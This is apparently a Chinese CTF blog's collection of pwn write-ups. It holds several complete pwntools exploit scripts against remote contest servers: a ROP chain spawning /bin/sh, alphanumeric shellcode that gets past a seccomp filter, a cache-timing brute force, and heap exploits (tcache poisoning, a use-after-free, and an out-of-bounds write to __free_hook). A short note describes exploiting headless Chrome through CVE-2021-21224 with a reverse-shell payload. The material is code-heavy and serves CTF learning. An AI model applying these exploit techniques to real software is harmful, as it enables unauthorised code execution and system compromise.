eqqie 发布的文章

string_go

表达式计算器,负数导致溢出泄露地址+栈溢出写rop

from pwn import *

#p = process("./string_go", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("82.157.20.104", 42100)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"

# base: 0x0000555555554000

def send(content):
    p.sendlineafter(b">>> ", content)

def exp():
    #gdb.attach(p)
    #gdb.attach(p, "b *0x0000555555554000+0x2415\nb *0x0000555555554000+0x2424\nc\n")
    # start
    send(b"1+2")
    
    # lative
    ## leak
    send(b"-7") # ch idx
    send(b"\x00") # sta
    send(b"\x02") # patch
    leak_data = p.recv(0x58)
    p.recv(0xa0)
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak- 0x21bf7
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    pop_rdi_ret = libc_base + 0x215bf
    ret = libc_base + 0x8aa
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    
    # overwrite
    payload = leak_data[0x20:]
    payload += p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
    
    send(payload) # src str
    
    p.interactive()

if __name__ == "__main__":
    exp()

code_project

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x10 0xc000003e  if (A != ARCH_X86_64) goto 0018
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0d 0xffffffff  if (A != 0xffffffff) goto 0018
 0005: 0x15 0x0c 0x00 0x0000003b  if (A == execve) goto 0018
 0006: 0x15 0x0b 0x00 0x00000142  if (A == execveat) goto 0018
 0007: 0x15 0x0a 0x00 0x00000002  if (A == open) goto 0018
 0008: 0x15 0x09 0x00 0x00000101  if (A == openat) goto 0018
 0009: 0x15 0x08 0x00 0x00000039  if (A == fork) goto 0018
 0010: 0x15 0x07 0x00 0x00000065  if (A == ptrace) goto 0018
 0011: 0x15 0x06 0x00 0x00000020  if (A == dup) goto 0018
 0012: 0x15 0x05 0x00 0x00000009  if (A == mmap) goto 0018
 0013: 0x15 0x04 0x00 0x00000130  if (A == open_by_handle_at) goto 0018
 0014: 0x15 0x03 0x00 0x00000003  if (A == close) goto 0018
 0015: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0018
 0016: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x06 0x00 0x00 0x00000000  return KILL

看样子readv和writev有戏

readv没有被禁用可以自覆盖解除alpha限制,writev访问非法内存会返回错误值但是不会报错导致中断,可以写一个loop从低到高遍历地址去读flag

from pwn import *
from time import sleep

#p = process("./code_project")
p = remote("82.157.31.181", 25100)
context.log_level = "debug"

readv_x64 = '''
xor rdi, rdi;
mov rax, 0x7fffffff
shr rax, 20;
push rax;
push rsp;
mov rsi, rsp;
xor rdx, rdx;
inc rdx;
push 19;
pop rax;
syscall;
'''

writev_x64 = '''
   mov r8, 0x100;
DO_WRITE:
   add r8, 1;
   mov rdi, 0x1;
   mov rbx, r8; 
   shl rbx, 12;
   mov qword ptr [rbp+0x100], rbx;
   mov qword ptr [rbp+0x108], 0x30;
   lea rsi, [rbp+0x100];
   mov rdx, 1;
   mov rax, 20;
   syscall;
   cmp r8, 0xffff;
   jne DO_WRITE;
'''


def exp():
   #gdb.attach(p, "b *0x400b16\nc\n")
   
   p.recvuntil(b"DASCTF{MD5}\n")

   # self overwrite
   '''
   payload1 = asm(readv_x64, arch="amd64")
   print(payload1.hex("|"))
   #pause()
   with open("./alpha_shellcode", "wb") as f:
       f.write(payload1)
   '''
   payload1 = b"Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103Z0y3g3c358O4F0L2O3b4K2G0e0l175M300x1M3p178L301n0X0j0H050"
   payload1 = payload1.ljust(0x100, b"A")
   p.send(payload1)
   
   # writev loop
   payload2 = b"\x90"*0x50
   payload2 += asm(writev_x64, arch="amd64")
   payload2 = payload2.ljust(0x100, b"\x90")
   p.send(payload2)

   p.interactive()

if __name__ == "__main__":
   exp()

VxWorks是工控安全中常用的一种RTOS,之前我也写过关于手动提取分析TP-Link上的固件并尝试修复和逆向的文章,但终究不够系统。这里主要是想收集一些介绍VxWorks的而且比较浅显的资源——共勉!

  1. VxWorks官网

主站

https://www.windriver.com/products/vxworks

官网提供的CVE数据库

https://support2.windriver.com/index.php?page=cve

官网提供的产品文档,关于一些重要函数有详尽的解释

https://docs.windriver.com/

  1. 相关工具

VxWorks固件解析插件脚本

https://github.com/PAGalaxyLab/vxhunter

  1. VxWorks固件分析介绍

宏观角度上的运行机制分析

https://www.cnblogs.com/qqivoryqq/articles/728768.html

讲了VxWorks的主要内存结构,初始化方式,基址确定手段以及符号表修复手段

https://www.cnblogs.com/yangmzh3/p/11214451.html

  1. PLC固件逆向

https://www.cnblogs.com/nongchaoer/p/11975980.html

slow-spn

本题里面cacheLine是一个缓存单元的类型,__maccess()函数负责检查cacheLine是否命中,以及置换掉最少命中次数的cacheLine

思路:侧信道泄露+爆破

struct cacheLine
{
  uint32_t tag;
  uint32_t last_used;
};
key = flag[0:6]
plain = flag[6:10]
                          k>>n*4
                             ↓
plaintext -> |SS| -> |P| -> XOR -> ... -> |SS| -> |P| -> cipher

... --> |SS| --(vuln)--> |&cache| --> |P| --> ...

getflag的脚本

from pwn import *
from hashlib import sha256
from pwnlib.util.iters import mbruteforce

context.log_level = 'debug'
def pow(p):
    p.recvuntil(b"hashlib.sha256( x + \"")
    c = p.recvuntil("\"" , drop = True)
    print(c)
    proof = mbruteforce(lambda x: sha256(x.encode() + c).hexdigest()[:6] == '000000'
                        , '0123456789', length=8, method='fixed')
    p.sendline(proof)
def getflag(key , m):
    p.recvuntil(b'Input possible spn key (hex):')
    p.sendline(key)
    p.recvuntil(b'Input possible spn plaintext (hex):')
    p.sendline(m)
    res = p.recv()
    if res == b'Wrong.':
        return 0
    else:
        print(res)


p = remote('124.71.173.176' ,8888)
pow(p)
getflag('11' , '1111')

脚本比较乱就贴个爆第一轮的上来好了,后面差不多:

#exp_round1.py
from pwn import *
import sys
from chall import ss_box, p_box, ss_box_addr, p_box_addr
from time import time, sleep
import threading

ss_map = defaultdict(list)
p_map = defaultdict(list)
stop_flag = False

#context.log_level = "debug"

class MyThread(threading.Thread):  
    def __init__(self, func, args=()):  
        super(MyThread, self).__init__()  
        self.func = func  
        self.args = args  
  
    def run(self):  
        self.result = self.func(*self.args)
  
    def get_result(self):  
        try:  
            return self.result  
        except Exception as e:  
            return None  

    def get_args(self, _idx=None):
        return self.args if _idx == None else self.args[_idx]
            
class MyPipe:
    def __init__(self, _addr, _typ="local"):
        if _typ == "local":
            self.raw_p = process(_addr)
        else:
            self.raw_p = remote(_addr[0], _addr[1])
    
    def maccess(self, addr, speed):
        print(f"Addr: {addr}")
        print(f"Fetch cache: {hex((addr>>5) & 0x1F)}\nCache tag: {hex(addr>>10)}")
        self.raw_p.sendlineafter(b"What to do?\n", b"1")
        self.raw_p.sendlineafter(b"Where?\n", str(addr).encode())
        self.raw_p.sendlineafter(b"Speed up?\n", str(speed).encode())

    def conti(self):
        self.raw_p.sendlineafter(b"What to do?\n", b"2")
       
    def leave(self):
        self.raw_p.sendlineafter(b"What to do?\n", b"3")
        
    def skip(self):
        self.raw_p.sendlineafter(b"What to do?\n", b"4")

    def recv(self, num=2048):
        return self.raw_p.recv(num)

    def recvall(self):
        return self.raw_p.recvall()

    def close(self):
        self.raw_p.close()
    
def calc_cacheline(addr:int):
    return (addr>>5) & 0x1F

def calc_tag(addr:int):
    return (addr>>10)
    
def map_i(addr):
    return (calc_cacheline(addr), calc_tag(addr))
    
def gen_target(cache_pos, tag):
    return (tag << 10) + (cache_pos << 5)

def ss_box_item(addr):
    return ss_box[(addr-ss_box_addr)//4]

def p_box_item(addr):
    return p_box[(addr-p_box_addr)//4]

def ss_item_addr(value):
    return ss_box_addr+ss_box.index(value)*4

def p_item_addr(value):
    return p_box_addr+p_box.index(value)*4

def init():
    global ss_map
    global p_map
    for ss_item_addr in range(ss_box_addr, ss_box_addr+len(ss_box)*4, 4):
        ss_map[map_i(ss_item_addr)].append(ss_box_item(ss_item_addr))
    print(f"ss_map size: {hex(len(ss_map))}")
    for p_item_addr in range(p_box_addr, p_box_addr+len(p_box)*4, 4):
        p_map[map_i(p_item_addr)].append(p_box_item(p_item_addr))
    print(f"p_map size: {hex(len(p_map))}")

s1_list = []
p1_list = []
s1_matched = []

def burp_round_1():
    MAX_THREAD = 0x100
    global stop_flag
    stop_flag = False

    def check_si_fetch(p:MyPipe, cache_info):
        global stop_flag
        if stop_flag:
            p.close()
            return False
        p.maccess(ss_item_addr(ss_map[cache_info][0]), 1) # speed up
        p.conti()
        t1 = time()
        p.recv(1)
        t2 = time()
        #print(t2-t1)
        p.close()
        if t2-t1 >= 0.95:
            return False
        else:
            stop_flag = True
            return True

    pool = []
    init_active = threading.active_count()
    for cache_info in ss_map.keys():
        if stop_flag:
            break
        th = MyThread(func=check_si_fetch, args=(MyPipe(("124.71.173.176", 9999), "remote"), cache_info))
        th.setDaemon(True)
        while True:
            if threading.active_count()-init_active > MAX_THREAD:
                sleep(0.8)
            else:
                th.start()
                pool.append(th)
                #print(th.get_args(1))
                break
    for th in pool:
        th.join()
        if th.get_result() == True:
            s1_cache_info = th.get_args(1)
            s1_list = ss_map[s1_cache_info]
            break
    print(f"s1_cache_info: {s1_cache_info}")
    print(f"s1_list: {s1_list}")

    for s1 in s1_list:
        p = MyPipe(("124.71.173.176", 9999), "remote")
        p.skip()
        p.maccess(p_item_addr(p_box[s1]), 1) # speed up
        p.conti()
        t1 = time()
        p.recv(1)
        t2 = time()
        if(t2-t1 >= 0.96):
            print("Miss")
            p.close()
        else:
            p1_cache_info = map_i(p_item_addr(p_box[s1]))
            print(f"Got p1 cache info: {p1_cache_info}")
            p1_list.append(p_box[s1])
            s1_matched.append(s1)
            p.close()
    print(f"p1_list: {p1_list}")
    print(f"s1_matched: {s1_matched}")

def exp():
    init()
    burp_round_1()

if __name__ == "__main__":
    exp()

第四组不用爆完,本地调试的时候线程开多点爆完验证一下就好

[remote]

round 1:
p1_list: [24177, 24160, 24176, 20336]
s1_matched: [20075, 20072, 20074, 20070]

round 2:
p2_list: [29651, 29634]
s2_matched: [10975, 10972]

round 3:
p3_list: [51619, 55459, 51635]
s3_matched: [59445, 59449, 59447]

然后根据上面的信息拿mlist和klist:

p1_list = [24177, 24160, 24176, 20336]
s1_matched = [20075, 20072, 20074, 20070]
p2_list = [29651, 29634]
s2_matched = [10975, 10972]
p3_list = [51619, 55459, 51635]
s3_matched = [59445, 59449, 59447]
mlist = [hex(ss_box.index(i))[2:].rjust(4 , '0') for i in s1_matched]
k2list = []
k1list = []
for s in s2_matched:
    for p in p1_list:
        temp = ss_box.index(s)
        a = p ^ temp
        k1list.append(a)
for s in s3_matched:
    for p in p2_list:
        temp = ss_box.index(s)
        a = p ^ temp
        k2list.append(a)
klist = []
for k1 in k1list:
    for k2 in k2list:
        temp1 = k1 &0xfff
        temp2 = k2 >> 4
        if temp1 == temp2:
            klist.append((k1 <<4)+(k2&0xf))

print(mlist)

spn

sbox = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 8, 3, 0xA, 6, 0xC, 5, 9 , 0 , 7]
pbox = [1, 5, 9, 0xD, 2, 6, 0xA, 0xE, 3, 7, 0xB, 0xF, 4, 8,0xC, 0x10]
masks = [0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100,0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1]
key = [0x3a94,0xa94d ,0x94d6,0x4d63,0xd63f]
def re_s(c):
    res = 0
    for i in range(4):
        temp = c % 16
        res += sbox.index(temp)*2**(4*i)
        c //= 16
    return res
def re_p(c):
    res = 0
    for i in range(16):
        if c &(0x8000>>i) != 0:
            res |=(0x8000 >> (pbox[i] - 1))
    return res

def dec(m):
    m = (m[1]<<8) | m[0]
    m ^= key[-1]
    for i in range(3):
        m = re_s(m)
        m ^= key[-(i+2)]
        m = re_p(m)
    m = re_s(m)
    m ^= key[0]
    m = bytes([m&0xff , m >> 8])
    return m
def decrypt(m):
    c = b''
    assert len(m) % 2 == 0
    for i in range(len(m) // 2):
        c += dec(m[i*2:i*2+2])
    return c

print(decrypt(b'4N4N4N4N'))

过spn的脚本,调用decrypt(想要在内存写的东西),然后把返回值扔过去就行了。
密文长度必须是2的倍数,如果不是2的倍数远程会默认后面是\x00或者是其他的奇奇怪怪的东西,为了避免错误建议用2的倍数

鉴于decrypt出来的值不太稳定改成两次edit,第一次收集下变化的部分放进nonaddlist第二次正常打

from pwn import *

#p = process("./SPN_ENC", env = {"LD_PRELOAD": "./libc-2.27.so"})
#p = process("./SPN_ENC")
p = remote("124.71.194.126", 9999)
context.log_level = "debug"

sbox = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 8, 3, 0xA, 6, 0xC, 5, 9 , 0 , 7]
pbox = [1, 5, 9, 0xD, 2, 6, 0xA, 0xE, 3, 7, 0xB, 0xF, 4, 8,0xC, 0x10]
masks = [0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100,0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1]
key = [0x3a94,0xa94d ,0x94d6,0x4d63,0xd63f]
nonaddlist = []

def re_s(c):
    res = 0
    for i in range(4):
        temp = c % 16
        res += sbox.index(temp)*2**(4*i)
        c //= 16
    return res
def re_p(c):
    res = 0
    for i in range(16):
        if c &(0x8000>>i) != 0:
            res |=(0x8000 >> (pbox[i] - 1))
    return res

def dec(m):
    addnum = 0
    if m in nonaddlist:
        addnum = 1
    m = (m[1]<<8) | m[0]
    m ^= key[-1]
    for i in range(3):
        m = re_s(m)
        m ^= key[-(i+2)]
        m = re_p(m)
    m = re_s(m)
    m ^= key[0]
    
    m = bytes([m&0xff , (m >> 8)+addnum])
    return m
def decrypt(m):
    c = b''
    assert len(m) % 2 == 0
    for i in range(len(m) // 2):
        c += dec(m[i*2:i*2+2])
    return c

def malloc(size, idx):
    p.sendlineafter(b"0.exit\n", b"1")
    p.sendlineafter(b"Size:\n", str(size).encode())
    p.sendlineafter(b"Index:\n", str(idx).encode())
    
def edit(index, size, content):
    p.sendlineafter(b"0.exit\n", b"2")
    p.sendlineafter(b"Index:\n", str(index).encode())
    p.sendlineafter(b"Size\n", str(size).encode())
    p.sendafter(b"Content\n", content)
    
def free(idx):
    p.sendlineafter(b"0.exit\n", b"3")
    p.sendlineafter(b"Index:\n", str(idx).encode())
    
def show(idx):
    p.sendlineafter(b"0.exit\n", b"4")
    p.sendlineafter(b"Index:\n", str(idx).encode())

#: 0x555555554000

def exp():
    p.recvuntil(b"gift:")
    gift = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    elf_base = gift - 0x2040E0
    print("gift:", hex(gift))
    print("elf_base:", hex(elf_base))
    
    # malloc
    malloc(0x40, 0)
    for i in range(3):
        malloc(0x20, i+1)
    free(3)
    free(2)
    free(1)
    payload = b"A"*0x40+p64(0)+p64(0x31)+p64(gift)
    payload_dec = decrypt(payload)
    print("Payload len:", hex(len(payload)))
    print(payload.hex())
    print(payload_dec.hex())
    w_size = 0x58
    edit(0, w_size, payload_dec)
    for i in range(0, w_size*2, 4):
        p.recvuntil(b"w:")
        tar = payload_dec.hex()[i+2:i+4]+payload_dec.hex()[i:i+2]
        act = p.recvuntil(b"\n", drop=True).decode().rjust(4, "0")
        print(tar, act)
        if tar != act:
            nonaddlist.append(bytes([payload[i//2]])+bytes([payload[i//2+1]]))
    print(nonaddlist)
    edit(0, w_size, decrypt(payload))
    
    # fetch
    malloc(0x20, 5)
    malloc(0x20, 6)
    edit(6, 8, b"A"*8)
    print("gift:", hex(gift))
    p.sendline(b"5")
    
    p.interactive()

if __name__ == "__main__":
    exp()

QEMU 逃逸题目的一些存档,不太全

d3ctf - d3dev

我自己出的qemu pwn入门题,适合学习该方向一些基本分析知识和基本脚本框架,多看看没坏处

github

强网杯 2019 - qwct & ExecChrome

qwct & ExecChrome

重点在第二题的ExecChrome,使用了dma越界,以及timer的经典思路来打,是很多其它比赛的理论基础

exp: github

r3kapig - Hack.lu CTF 2021 - Cloudinspect

基本是基于ExecChrome的利用思路的,但是在具体题目上r3kapig 提出了一些需要注意的细节,而且讲解十分详细

Cloudinspect

bytezoom

C++下的堆利用,对于有C++基础的人来说应该很快看出要点在于错误的使用了shared_ptr的裸指针,形成悬挂指针,进而UAF

EXP:

from pwn import *
import time

#p = process("./bytezoom", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("39.105.37.172", 30012)
libc = ELF("./libc-2.31.so")
context.log_level = "debug"


def create(_type, idx:int, name, age:bytes):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"cat or dog?\n", _type)
    p.sendlineafter(b"input index:\n", str(idx).encode())
    p.sendlineafter(b"name:\n", name)
    p.sendlineafter(b"age:\n", age)
    
def show_message(_type, idx):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b"cat or dog?\n", _type)
    p.sendlineafter(b"input index:\n", str(idx).encode())
    
def into_manager():
    p.sendlineafter(b"choice:\n", b"3")
    
def quit_manager():
    p.sendlineafter(b"choice:\n", b"4")
    
def manage_select(_type, idx):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"input " + _type + b"'s index:\n", str(idx).encode())
    
def change_age(_type, add_years):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"you want to add\n", add_years)
    
def change_name(_type, new_name):
    p.sendlineafter(b"choice:\n", b"3")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"please input new name:\n", new_name)

# base: 0x0000555555554000
# base: 0x0000555555554000+0x12340  cat list
# base: 0x0000555555554000+0x12380  dog list
# selected: 0x0000555555554000+0x122E0

def exp():
    # leak libc
    create(b"dog", 0, b"a"*8, b"1")
    into_manager()
    manage_select(b"dog", 0)
    quit_manager()
    create(b"dog", 0, b"b"*8, b"1") # free prev
    create(b"cat", 0, b"c"*8, b"1") # selected
    create(b"cat", 1, b"x"*0x400, b"1") 
    into_manager()
    #gdb.attach(p)
    #pause()
    change_age(b"dog", b"889")
    change_age(b"dog", b"1279")
    quit_manager()
    show_message(b"cat", 0)
    p.recvuntil(b"name:")
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    
    # attack free_hook
    ## create 0x20 bin
    create(b"cat", 2, b"d"*0x50, b"1") 
    create(b"cat", 3, b"d"*0x50, b"1") 
    create(b"cat", 2, b"d"*0x30, b"1")
    create(b"cat", 3, b"d"*0x30, b"1") 
    into_manager()
    change_age(b"dog", b"160")
    manage_select(b"cat", 0)
    change_name(b"cat", p64(free_hook))
    quit_manager()
    ## get chunk at free_hook
    create(b"cat", 4, b"/bin/sh\x00"*(0x50//8), b"1") 
    create(b"cat", 5, p64(system)*(0x50//8), b"1") 
    print("free_hook:", hex(free_hook))
    ## get shell
    create(b"cat", 4, b"t"*0x100, b"1") 
    
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

chatroom

混了个一血

headless chrome,用CVE-2021-21224打,最好用msf自身的反弹shell payload, shell_reverse_tcp 这个payload究极不稳定,连上就断

ByteCSMS

思路:

  1. 同样是涉及C++数据结构的pwn,问题出在Vector内部和外部用户自定义的计数方式可能出现不匹配的情况:Vector内部通过指针差值右移4位(除0x10,即元素大小)来计算元素个数;而外部则通过一个全局变量(total)保存元素个数;当用户使用name作为索引删除元素时会一次性删除所有name相同的元素,而外部变量只递减了1,这样可以构造total远大于(ptr2-ptr1)>>4
  2. 构造方式:add很多次name为/bin/sh的元素,致使Vector过大而存放在mmap出来的内存段,从而与libc有固定偏移;通过upload保存此时的Vector;通过name索引的方式remove掉name为/bin/sh的元素,再通过download把这样元素添加回来,以此往复可以将total的值增加非常大;由于通过index索引方式edit元素时,检查范围的最大边界是由total标定的,这就使得用户可以越界读写;
  3. 估计好越界位置读出libc某个rw段上的指针,计算出libc基址(这一步只是泄露所以要注意好恢复原本的值);然后同样估计好__free_hook的位置用edit写上system地址;最后一步upload剩余的元素,使得存放upload元素的Vector发生realloc,free掉原来的堆块,将堆块头部的/bin/sh作为参数执行system("/bin/sh")

EXP:

from pwn import *

#p = remote("39.105.63.142", 30011)
p = remote("39.105.37.172", 30011)
libc = ELF("./libc-2.31.so.6")

context.log_level = "debug"

def add(name, score:int):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Enter the ctfer's name:\n", name)
    p.sendlineafter(b"Enter the ctfer's scores\n", str(score).encode())
    p.sendlineafter(b"enter the other to return\n", b"123")
    
def edit(n_or_i, new_name, new_score, way:str):
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by index\n")
    if way == "name":
        p.sendline(b"1")
        p.sendline(n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendline(str(n_or_i).encode())
    else:
        return
    p.sendlineafter(b"Enter the new name:\n", new_name)
    p.sendlineafter(b"Enter the new score:\n", str(new_score).encode())
    
def remove(n_or_i, way:str):
    p.sendlineafter(b"> ", b"2")
    p.recvuntil(b"2.Remove by index\n")
    if way == "name":
        p.sendline(b"1")
        p.sendlineafter(b"to be deleted\n", n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendlineafter(b"Index?\n", str(n_or_i).encode())
    else:
        return
        
def upload():
    p.sendlineafter(b"> ", b"4")
        
def download():
    p.sendlineafter(b"> ", b"5")

# manager: 0x00007fffffffdbd0
# total: 0x0000555555607280
# base: 0x0000555555400000

def exp():
    p.sendlineafter(b"Password for admin:\n", b"\x00")
    while True:
        if p.recv(9) == b"Incorrect":
            p.sendlineafter(b"Password for admin:\n", b"\x00")
        else:
            break
    # leak addr
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(0x1000-2):
        add(b"/bin/sh", 100)
    upload()
    edit(0, b"aaaa", 100, "index")
    edit(1, b"aaaa", 100, "index")
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(90):
        remove(b"/bin/sh", "name")
        download()
    ## 358659 220931
    ## get addr
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by index\n")
    p.sendline(b"2")
    #gdb.attach(p)
    #pause()
    p.sendlineafter(b"Index?\n", b"220931")
    #p.recv(0x30-2)
    p.recvuntil(b"220931\x09")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    #libc_base = libc_leak - 0x18b110
    libc_base = libc_leak - 0x18b2a0
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    #fix_addr = libc_base + 0x18ea70
    fix_addr = libc_base + 0x18ec00
    #gdb.attach(p)
    #pause()  
    p.sendlineafter(b"Enter the new name:\n", p64(libc_leak)+p64(fix_addr)[0:4])
    p.sendlineafter(b"Enter the new score:\n", str(u32(p64(fix_addr)[4:])).encode())
    #gdb.attach(p)
    #pause()
    
    # rewrite _free_hook
    ## 359601 221873
    #gdb.attach(p, "b *0x0000555555400000+0x1b9b\nc\n")
    edit(221873, p64(0)+p64(system)[0:4], u32(p64(system)[4:]), "index")
    print("free_hook:", hex(free_hook))
    #gdb.attach(p)
    #pause()
    
    ## get shell
    edit(0, b"/bin/sh", 100, "index")
    #gdb.attach(p, "b *0x0000555555400000+0x12dc\nc\n")
    remove(b"/bin/sh", "name")
    upload()
    print("free_hook:", hex(free_hook))
        
    p.sendline(b"cat flag;cat flag;cat flag;")
    p.interactive()

if __name__ == "__main__":
    exp()